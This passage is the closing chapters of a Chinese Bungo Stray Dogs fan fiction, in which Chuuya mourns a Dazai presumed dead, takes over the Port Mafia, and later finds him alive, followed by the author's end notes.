它已经在雨水中变得脏兮兮的、沾上了建筑外体的灰尘泥水。 这代表着什么,似乎已经不需要人说了。 “……”尾崎红叶的呼吸都要停滞了,她和广津柳浪,芥川银相对沉默着,这一瞬间首领室里的空气窒息的可怕。 “把中原干部……叫回来吧。”尾崎红叶听到自己这么说着。 没有人流露异议。 她的部下低声说:“发现敌袭的时候中原大人已经在往回赶了。” …… 又是五分钟后。 “中原大人!”“中原大人回来了!”黑西装们像是看见了主心骨一样的眼睛一亮。 匆匆赶回来的中原中也肩膀上打湿了大片,他顾不上别的,一出电梯就难以置信的质问:“还没有找到人吗?” “开什么玩笑,太宰那个家伙怎么可能死的这么随便!”就算瞥到了那条沾满泥水的红围巾,在回来路上就听属下汇报听到了可疑巨响,又在楼下广场捡到了疑似死屋之鼠头目穿着的布料,中原中也也不相信所有痕迹指向的那个结局。 “……鉴定呢?做了吗?”他大步走向天台的方向,带起一阵冰冷的风,他要亲自去查看。 尾崎红叶在后面跟了几步:“因为下大雨的关系,现场被冲刷的很干净。等守卫们意识到以后,他们第一时间提取了地上所有的组织,现在正在搜索附近的下水道。” 中原中也:“……” 他胸膛起伏着,强行克制着某种情绪,表情冷沉可怕的环视着四周,但是他什么都没有找到。 尾崎红叶跟着踏上了天台,在呼啸的寒风和大雨中,她的长发纷乱,被雨水打得几乎睁不开眼睛,红发女人却没有撑开伞的意思。她委婉的说:“窗户正对着这里的那栋大楼上,刚才有五六位成员向首领室发送了目击报告。” “——他们看到白色的身影和黑色的身影一起坠下。” 中原中也:“…………” 他如坠冰窟的听着,心脏像是浸泡在冰水里一样的沉重,戴着半指手套的手指死死在身侧攥紧了。 中原中也再次环视着周围,这个光秃秃的天台,一点都看不出来,这里像是那个混蛋的最后埋骨地。赭发青年的牙关缓缓咬紧了,有怒气在胸膛中积攒,他冷声的再次否认着: “……不可能,他可是那个太宰。” 那个聪明过头的太宰治怎么可能这么轻易的死去?! “中原大人,我在首领室发现了这个。”芥川银匆匆带来了一份文件,“这是他最后翻阅的地方。” 中原中也接过那份文件,那是关于死屋之鼠的头目进行的调查。首领太宰治的清瘦笔迹在旁边记载上了新的一条情报: 费奥多尔·M·陀思妥耶夫斯基。 异能力,罪与罚。 能力效果,疑似可以寄生成为杀死自己的人。 『疑似可以寄生成为杀死自己的人……』 中原中也死死瞪着这最后一条,所有的字在他面前晃过,他反复读着这一段,却没办法让自己理解其中的意思了。 只有一股巨大的荒谬感缠住了他。 “中原大人……?”广津柳浪发现了什么,出声过问了一句。 中原中也的表情变了。 他攥住被雨水浸透的栏杆,任由水珠从他的手上往下滴落,向下眺望着,还是什么都没发现。 青年身上所有的气势全都消失了,一个字都说不出来,就这么愣在原地:“……” 几天前的抱怨还仿佛响在耳边。 “喂,到底谁才是首领啊?”当时的中原中也半跪在地上,垂下头接过了银之手谕,但还是没忍住最后一句咬牙抱怨,“事情都推给我做了,至少关于死屋之鼠的头目调查上你也上点心啊!” 对方极其难缠,有着很聪明的头脑和狡猾的身手。 死屋战争过后,三番五次都抓不到他,反而被对方耍的团团转,中原中也已经积了一肚子恼火,只能催促着自家Boss赶紧去干点正事。 然后就是…… 情报,『异能力是疑似可以成为杀死自己的人……』 想要规避这一条有很多办法,但想要干脆利落的彻底解决这一点,办法却很少。 ——对那个曾经的自杀狂太宰治来说,只有一条是他的最优解。 中原中也把头转向了首领友人居住的那个方向,大脑一团乱麻,怎么都不愿意相信现状。 但是二十四小时后,最后一击来了。 鉴定人员从地表一枚叶子上提取到了属于首领太宰治的DNA。 ——他们认为,那也许是最大的人体组织了。 中原中也:“…………!” 中原中也:“。”- 作者有话说: 港+黑大楼我参考了现实里日本最高的横滨地标塔大厦,所以高度为296米,层数为69层。 比起太宰,我没那么了解中原中也,这一章就是按照自己的理解写的啦qwq《 》 第88章 大结局 第88章 大结局 港口黑+手党首领太宰治死后第一天, 全城街道戒严。 太宰治死后第三天。 中原中也对外承认代理首领之位,稳住了有混乱骚动苗头的整个横滨,扑灭了两场小型战役。 太宰治死后第一周。 港口黑+手党颁布银之手谕, 全力剿灭死屋之鼠异能组织余党,并秘密举行了先代首领太宰治的内部葬礼。 …… 这个月是雨水充沛的季节, 天上还在淅淅沥沥不停地下雨。港口黑+手党全体高层和干部穿着黑色,在这一天前往了港口黑+手党墓园。 最新立下的一块墓碑前, 放上了一大袋子供奉的蟹肉罐头。 中原中也出神的凝视着那块墓碑上的字,不言不语的扶着帽子站着。他的表情憔悴成熟了很多, 已经戴上了那条被重新洗干净了的红色围巾:“……” “Boss。”中原中也摘下了帽子, 在众人的簇拥下沉默着, 最后冷声说着, “我还是不相信你会死。” “中原大人——”芥川银注视着他,欲言又止。 “我会在这里一直等着你回来的。”中原中也冷硬地说着, 加大了一点声音, “太宰。” “在那之前……我会守护好港口黑+手党和你在乎的东西。”中原中也面无表情的垂下眼帘,语气低了下去。 这段时间。 所有人都在想尽一切办法证明首领太宰治没有死。 中原中也一直在思考,就算是首领带着费奥多尔上了天台, 有没有可能活下来? 首先太宰不愿意有什么自救行为…… 其次费奥多尔的异能力没有什么用…… 抛开太宰本人,也没有别人的智谋和头脑能对付得了费奥多尔。 中原中也越想越无力。 不, 就算费奥多尔的情报出了错, 他有别的异能力可以自救, 太宰治的[人间失格]都可以把它们消除。连中原中也自己和太宰治一起摔下天台的话…… 除非他能立刻把首领甩进某个窗户里, 不然他们两个人也得一起死。 “……”中原中也在暴怒与无力的情绪驱使下, 这段时间咬死了死屋之鼠的余党不放,几乎失去了理智,把横滨搅得天翻地覆。 等到他清醒过来, 才颓废的在内外部的压力下不得不认下了自己的新身份,又为先代首领太宰举行了葬礼。 港口黑+手党的高层轮流在墓碑前默哀致意了。 中原中也沉默的退到了一边,在他身后的阴影里,站着一个不起眼的穿着朴素西装的男人。 “中也君,我不认为他已经死了。”来到了墓园里的森鸥外语气里带着淡淡的阴郁。 曾经的他想救下一个孩子,却无能为力。 后来,他好不容易等到了那个一心寻死的少年发生了改变,被友人们牢牢的拉住了手臂。 为什么太宰君还是出事了? 中原中也垂下眼帘,咬紧了牙关,没有回头。 只有面对先代首领森的时候,他才动摇了起来,从心底艰难的吐露出了一句话:“森先生,是我……让太宰那家伙去负责这件事的。” 一想到这一点,中原中也的心里就有过一抹尖锐的刺痛。 “他才是首领。”森先生平静而冷酷地说着,“没有人能改变太宰君的决定,除了他自己。” 这样的话并不能给中原中也安慰。 又一阵沉默后,森鸥外离开了。 “我会继续调查下去的。”森鸥外理智的留下了这句话,那是独属于成年人的、很有魅力的成熟神情,“这件事情中还有很多疑点。” 中原中也最后喊住了他:“等等,森先生,这是他留给你的信。” 他从怀里取出一个信封。那是芥川银收拾首领室的时候发现的,似乎是首领写给森先生、却没来及发出去的一封信。 中原中也平静的处理完首领室里各色的文件记录,咖啡杯,太宰治喜欢做饭用的小厨房,衣柜里剩下的遗物,零零总总的。然后才把这封信揣进了怀里,直到今天。 接下来要面对最困难的一件事了。 中原中也深吸了一口气,独自开车前往了那个熟悉的地址。 他把车停在了自由轩餐馆的门前。 玻璃门内,孩子们的喧闹声交织在一起,芥川龙之介很有长男气质的板起脸,命令着弟弟妹妹们排着队出门玩:“很好!不听话的人不能玩罗生门大风车了!都不许吵到织田作先生!” 中岛敦似乎是来找他玩的,在旁边一边偷笑一边看着。 在角落里的一张桌子前,坐着一个红发男人,眉头紧锁着在稿纸上写着什么。 [太宰治的友人之一,织田作之助,异能力为预知和穿越世界。] 中原中也的脑中浮现出了这条情报,但他辨认不出来这位红发男人是哪一个织田作之助,另外一个织田作之助经常在其他世界旅行,不怎么回来。但每次回来,对方都会和太宰他们一起喝酒。 [太宰治的另外一个友人,坂口安吾,异能特务科的情报员。] 中原中也寻找了一下,没从餐馆里发现那个身影。 他也不觉得意外。 这段时间横滨这么混乱,坂口安吾忙得没空过来很正常。 这三个人……还有这个餐馆,这些孩子们,就是首领最在意的事物。 中原中也的目光变得坚定而锋利,胃里沉甸甸的,非常难受。他再次按了按帽檐,还是硬着头皮选择转身离去。 不,那个坏消息,还不到说出来的时候…… 至少他还没有完全死心的相信太宰治已经死去。 …… 这样的悲恸氛围伴随着飘零的小雨,一直笼罩着横滨。 直到三个月后的那一天—— 彼时的中原中也已经摘下了代理首领的头衔,正式成为了继任、他已经可以娴熟的处理港口黑+手党的事物,知道怎么统领驾驭这个偌大的组织了,发号施令起来,自有一番气势。 中原中也按照老习惯,压力大的时候就开车前往了自由轩餐厅。 他并不下车进去,也不会去见谁,披着红围巾的中原中也只是坐在车上,然后安静的待上小半天。 好像一切都还会和以前一样。 他在这里无聊的骂骂咧咧的守夜,看着太宰治灵活的爬上二楼窗户去找好友织田作之助,然后他一等就是好半天…… “……?!”中原中也的眼神落点突然凝固了。 他从回忆中回过神来,眼睛越睁越大。 ——在前面,那个墙上悄无声息爬到二楼的家伙是谁?! 黑色的身影,熟悉的绷带,身后还跟着一个同样鬼鬼祟祟的红头发。 就算还没有看到正脸,化成灰了中原中也都认得他! 中原中也明亮的钴蓝色眼睛里爆出一团愤怒的火焰来,几乎气笑了。 他一拳干碎了车窗玻璃,紧咬着牙关,暴怒的缓缓从胸膛里挤出了一个称呼。那声音从小到大,从低到高,像是爆发开的怒气炸+弹: “太——宰——!!” 首领宰脊背一僵,看似平静的回过头,从容的打了个招呼:“嗨,中也,好久不见?” “——混蛋太宰!!!!!”这一次就变成山崩地裂一样的动静了。 “呜哇!织田作,快跑!”首领宰惊慌乱叫了起来,嘴角却看热闹不嫌事大的勾起一个笑容,很满意中原中也如今的成长水平。 已经完美达到了他离开前的预期了呢。 “太宰。” 我默默地把首领宰夹起来,使出了吃奶的劲狂奔,一边提醒着他:“——我可打不过暴怒的中也先生。现在最该做的难道不是道歉吗?” 而且真打起来了,我也觉得理亏。 好不容易回来Beast世界休息了,我就知道,迟早要踩掉这个大雷的。 只是我完全没想到,曝光速度会这么快,首领宰是不是故意的? 我陷入了一瞬间的思索。 “那也得等中也气消下来啊——只能拜托你了,织田作!”首领宰以一种很难受的、横过来的姿势艰难对我双手合十,他露出了一个恳求的Q版星星眼。 自从去过了主线世界,和另一个自己这样那样呛声,首领宰的心情反而看起来轻松愉快多了。他有了新的主意,嗓音越发轻柔舒缓:“这样吧——织田作,我们再跑一段时间,先去找安吾!” 又要迫害安吾了吗? 我发自心底的赞同着,脚步不停的麻利拐了个方向:“啊。” 就是因为没有安吾在,我才不得不自己吐槽的,就这一点而言,我还是学不会织田作先生那样的天然。也许我以后都还是学不会了。 “不知道织田作的稿子写的怎么样了。”首领宰还有空开小差,惦记着他眼馋的小说。 “太宰,我觉得我们的这段经历也可以告诉织田作先生当做素材。”我跑得有点喘气了,但是灵机一动有了新的想法,淡定提议着。 被亡命追杀又怎么不算是一种新体验呢? “好主意!”首领宰很认可我的想法。 身后,听到了的中原中也更愤怒了,他气势爆炸般的追杀了上来,咬牙切齿得更快一步:“……混蛋太宰!!!!” “呜哇,快!快!” 我痛并快乐着的咬牙狂奔,搬着首领宰累得手臂酸痛,汗都下来了,一恍惚间,想起了自己穿越后这些丰富过头的经历。 ——现在这种生活就是我所希望过上的日子了吗? 低头,首领宰还在替我鼓劲。 是的吧。 抬头,中原中也先生的眼里流露着杀气。 ……是的,吗? 今天的横滨街头,也在鸡飞狗跳着呢。 (正文完)- 作者有话说: 完结啦。 停在这里没有继续写主线世界是我实在不会写主线了,前段时间卡成狗了也不会写。 后面看看会不会再写点福利番外给大家,日常或者主角和首领宰刚去主线世界(不涉及主任务内容)之类的? 看看到时候能憋出来多少番外吧,最近我先研究一下福利番外怎么发,上个完结榜[求你了]。 【ps: 好感慨……这篇文是我的心头好,属于自己每次点进来就会被硬控重刷的粮草,吃的很开心,因为圆了自己看文野时所有的遗憾。 ——很喜欢主角和首领宰的相识。 也祝愿他们在那些时空里继续完成着[小说]的进度,反抗造物主朝雾kfk。无赖派四人一起的友谊能过得越来越好呀[红心]】《 》